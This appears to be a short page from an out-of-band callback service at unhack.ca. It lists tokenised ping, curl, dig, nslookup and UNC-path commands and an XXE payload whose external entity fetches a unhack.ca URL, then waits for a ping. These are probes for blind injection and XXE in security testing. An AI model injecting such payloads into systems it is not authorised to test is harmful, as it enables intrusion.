$ ping -c1 -p 00eab798e293b490c0902e20470feb00 unhack.ca
$ curl http://unhack.ca/p/eab798e293b490c0902e20470feb
$ dig eab798e293b490c0902e20470feb @unhack.ca
$ dig eab798e293b490c0902e20470feb.ns.unhack.ca
C:\> nslookup eab798e293b490c0902e20470feb unhack.ca
C:\> type \\unhack.ca\eab798e293b490c0902e20470feb\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/eab798e293b490c0902e20470feb">]>
<foo>&xxe;</foo>
Waiting for ping...